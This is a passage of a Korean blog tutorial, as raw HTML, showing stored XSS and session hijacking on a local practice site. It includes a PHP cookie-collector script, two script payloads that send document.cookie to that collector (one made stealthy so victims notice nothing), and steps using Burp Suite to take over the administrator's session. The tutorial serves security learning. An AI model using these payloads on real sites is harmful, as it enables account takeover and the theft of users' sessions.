data-origin-height=&quot;904&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자가 읽을 수 있도록 게시글을 작성해야 하는데, 게시글 작성 전 먼저 세션값을 가져오는 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare를 사용하는 경우 VMWare 내 에서 C드라이브에 session 폴더 생성 후 session.php 를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC를 사용하는 경우 C:\APM_Setup\htdocs\ 경로에 session 폴더 생성 후 session.php 를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; session.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1736876057618&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    $session = $_GET[&quot;session&quot;];
    $ip = $_SERVER[&quot;REMOTE_ADDR&quot;];
    $date = date(&quot;Y-m-d H:i:s&quot;, time());
    $fp = fopen(&quot;rawdata.txt&quot;, &quot;a&quot;);
    fwrite($fp, &quot;{$date} | {$ip} | {$session}\r\n&quot;);
    fclose($fp);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/session/session.php?session=test 에 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oj4Ul/btsLN4BOJtP/VlKj821MchrL7ZNBJ5Egs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oj4Ul/btsLN4BOJtP/VlKj821MchrL7ZNBJ5Egs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oj4Ul/btsLN4BOJtP/VlKj821MchrL7ZNBJ5Egs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foj4Ul%2FbtsLN4BOJtP%2FVlKj821MchrL7ZNBJ5Egs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;166&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1/session/session.php?session=test 에 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dt7Iv/btsLNVrxMqZ/lSRvmfpaaQKmozu7cnbALk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dt7Iv/btsLNVrxMqZ/lSRvmfpaaQKmozu7cnbALk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dt7Iv/btsLNVrxMqZ/lSRvmfpaaQKmozu7cnbALk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDt7Iv%2FbtsLNVrxMqZ%2FlSRvmfpaaQKmozu7cnbALk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;157&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 후 session 폴더 내에 rawdata.txt 파일이 생성되어 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s7TIP/btsLOBlAOJV/HTErwHB9ZceMXantX1jyW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s7TIP/btsLOBlAOJV/HTErwHB9ZceMXantX1jyW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s7TIP/btsLOBlAOJV/HTErwHB9ZceMXantX1jyW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs7TIP%2FbtsLOBlAOJV%2FHTErwHB9ZceMXantX1jyW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;130&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rawdata.txt 파일 확인 시 아래와 같이 접속 날짜, IP, session 입력값을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/niZBp/btsLQ4JMTbD/lRNYU9tiKyUzdg6uCQeRvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/niZBp/btsLQ4JMTbD/lRNYU9tiKyUzdg6uCQeRvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/niZBp/btsLQ4JMTbD/lRNYU9tiKyUzdg6uCQeRvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FniZBp%2FbtsLQ4JMTbD%2FlRNYU9tiKyUzdg6uCQeRvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;129&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값을 가져오는 코드를 작성 후 세션값을 가져오는지 확인했으니 엣지에서 해커 계정으로 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;게시글 내용은 다음과 같다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;location.href=&quot;http://127.0.0.1/session/session.php?session=&quot;+document.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;location.href 를 사용하면 리다이렉션이 진행된다. (해당 게시글을 읽게 되면 지정한 다른 페이지로 이동)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 127.0.0.1 은 현재 로컬 PC의 웹 브라우저 2개를 사용해서 공격자와 피해자를 구분하므로, 로컬 IP를 사용했을뿐 실제로 취약점 진단 시 공격자 서버의 IP를 사용하면된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;세션을 탈취하기 위해 documen.cookie를 선언해야하는데, session 파라미터 뒤에 +(연결 연산자)를 사용하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;http://127.0.0.1/session/session.php?session= 과 document.cookie를 붙여준다. 사용자 입력값에 세션이 실리도록 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;872&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q5YVG/btsLRHAA0lO/OVrDKaC5m8ASpLdKnPA5y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q5YVG/btsLRHAA0lO/OVrDKaC5m8ASpLdKnPA5y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q5YVG/btsLRHAA0lO/OVrDKaC5m8ASpLdKnPA5y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq5YVG%2FbtsLRHAA0lO%2FOVrDKaC5m8ASpLdKnPA5y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;872&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;872&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성 후 해커 계정으로 해당 게시글을 클릭하면 이렇게 세션값이 URL에 입력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;727&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfcIYF/btsLQ4iN3QG/ctIzSu7dPLMOQHRJCkB7j1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfcIYF/btsLQ4iN3QG/ctIzSu7dPLMOQHRJCkB7j1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfcIYF/btsLQ4iN3QG/ctIzSu7dPLMOQHRJCkB7j1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfcIYF%2FbtsLQ4iN3QG%2FctIzSu7dPLMOQHRJCkB7j1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;727&quot; height=&quot;161&quot; data-origin-width=&quot;727&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rawdata.txt 에서 다음과 같이 해커의 세션값을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyV0Xg/btsLSpsoW7g/YtyQPwrgqpRDF1G9mZqUEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyV0Xg/btsLSpsoW7g/YtyQPwrgqpRDF1G9mZqUEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyV0Xg/btsLSpsoW7g/YtyQPwrgqpRDF1G9mZqUEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyV0Xg%2FbtsLSpsoW7g%2FYtyQPwrgqpRDF1G9mZqUEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;150&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 크롬에서 관리자 계정으로 접속하여 해당 게시글을 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOSOUL/btsLRSu6wXZ/CgYFIe1dw87c9kjmANdtKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOSOUL/btsLRSu6wXZ/CgYFIe1dw87c9kjmANdtKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOSOUL/btsLRSu6wXZ/CgYFIe1dw87c9kjmANdtKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOSOUL%2FbtsLRSu6wXZ%2FCgYFIe1dw87c9kjmANdtKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;181&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rawdata.txt 에서 다음과 같이 관리자의 세션값을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BTXDD/btsLSmimXlD/atKEQ0gO1NFTTuXSrDHX1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BTXDD/btsLSmimXlD/atKEQ0gO1NFTTuXSrDHX1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BTXDD/btsLSmimXlD/atKEQ0gO1NFTTuXSrDHX1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBTXDD%2FbtsLSmimXlD%2FatKEQ0gO1NFTTuXSrDHX1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;169&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엣지에서 해커 계정으로 접속한다음, 버프스위트를 켜서 세션값을 관리자 세션값으로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 버프스위트 설정이 127.0.0.1 로 프록시 설정이 되어 있으므로, 웹 페이지도 127.0.0.1/insecure_website로 접속해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 intercept on 후 엣지에서 다시 새로고침을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 해커의 세션값이 확인되는데, 이 세션값을 지우고 Forward(Ctrl + F)해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;725&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pe600/btsLQQygXZU/z6scDzlVFuoe5KbPHgKwn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pe600/btsLQQygXZU/z6scDzlVFuoe5KbPHgKwn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pe600/btsLQQygXZU/z6scDzlVFuoe5KbPHgKwn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPe600%2FbtsLQQygXZU%2Fz6scDzlVFuoe5KbPHgKwn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1215&quot; height=&quot;725&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;725&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Forward 후 Response를 확인하면 Set-Cookie 가 확인되는데, Set-Cookie에 관리자 세션값을 입력해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 응답값에서 Set-Cookie에 관리자 세션값을 입력하지 않아도 되며, 처음 요청 시 Cookie에 관리자 세션값을 입력해줘도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Set-Cookie가 세팅이 되면,&amp;nbsp; 웹 브라우저에서는 Set-Cookie를 받아서 기존 사이트에있는 세션 쿠키값을 Set-Cookie 값으로 변경해준다. (응답메시지 헤더에 Set-Cookie 활성화하여 입력해주면 웹 브라우저에서는 자동으로 세션을 변경해준다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YSEk9/btsLS75TKLv/2YZBXTDQxBVZXpRuJAFqq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YSEk9/btsLS75TKLv/2YZBXTDQxBVZXpRuJAFqq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YSEk9/btsLS75TKLv/2YZBXTDQxBVZXpRuJAFqq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYSEk9%2FbtsLS75TKLv%2F2YZBXTDQxBVZXpRuJAFqq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;714&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자의 세션 쿠키값을 입력해준다. 4ab437efcf3eb671d07f1ada98dbf13f&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 Intercept off 를 하고 난 후 해커 계정으로 접속한 엣지에서 새로고침을 하게 되면, 관리자 계정으로 접속된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br49yq/btsLSM1WP44/hukL8czWYK9BEWe39QgI9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br49yq/btsLSM1WP44/hukL8czWYK9BEWe39QgI9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br49yq/btsLSM1WP44/hukL8czWYK9BEWe39QgI9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr49yq%2FbtsLSM1WP44%2FhukL8czWYK9BEWe39QgI9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;403&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자가 맞는지 엣지에서 해당 계정으로 글을 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 관리자 계정으로 게시글이 작성된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;873&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAdqZk/btsLSeZevXe/fA4YkofE3aDlUkkYxs8930/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAdqZk/btsLSeZevXe/fA4YkofE3aDlUkkYxs8930/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAdqZk/btsLSeZevXe/fA4YkofE3aDlUkkYxs8930/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAdqZk%2FbtsLSeZevXe%2FfA4YkofE3aDlUkkYxs8930%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;873&quot; height=&quot;440&quot; data-origin-width=&quot;873&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 세션 하이재킹을 통해서 관리자 계정을 탈취한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 위와 같은 방법은 해커가 작성한 게시글을 클릭하면 다른 페이지로 리다이렉션되므로 티가 너무 많이 난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;희생자가 이런 낌새를 알 수 없도록 스크립트를 변경해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엣지에서 다시 해커 계정으로 로그인 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;스크립트는 다음과 같이 작성해준다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;new Image().src=&quot;http://127.0.0.1/session/session.php?session=&quot;+document.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위 스크립트는 이미지 객체를 생성하고 src 속성에서 해당 링크를 호출하도록 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;스크립트만 작성하면 게시글 클릭 시 내용이 없는 것으로 확인되니, 자연스럽게 작성을 위해 아무 글이나 작성해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cm14Ia/btsLQUt0qAT/J88lnpls7WkwhTXxa2fl31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cm14Ia/btsLQUt0qAT/J88lnpls7WkwhTXxa2fl31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cm14Ia/btsLQUt0qAT/J88lnpls7WkwhTXxa2fl31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcm14Ia%2FbtsLQUt0qAT%2FJ88lnpls7WkwhTXxa2fl31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;885&quot; height=&quot;850&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 엣지의 해커 계정에서 해당 게시글을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리다이렉션되지 않으며, 게시글도 작성되어 있어 평범해보이는 게시글로 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD20yb/btsLRigMh2X/0RXnJyRoHALfNp9mBSCcQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD20yb/btsLRigMh2X/0RXnJyRoHALfNp9mBSCcQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD20yb/btsLRigMh2X/0RXnJyRoHALfNp9mBSCcQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD20yb%2FbtsLRigMh2X%2F0RXnJyRoHALfNp9mBSCcQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 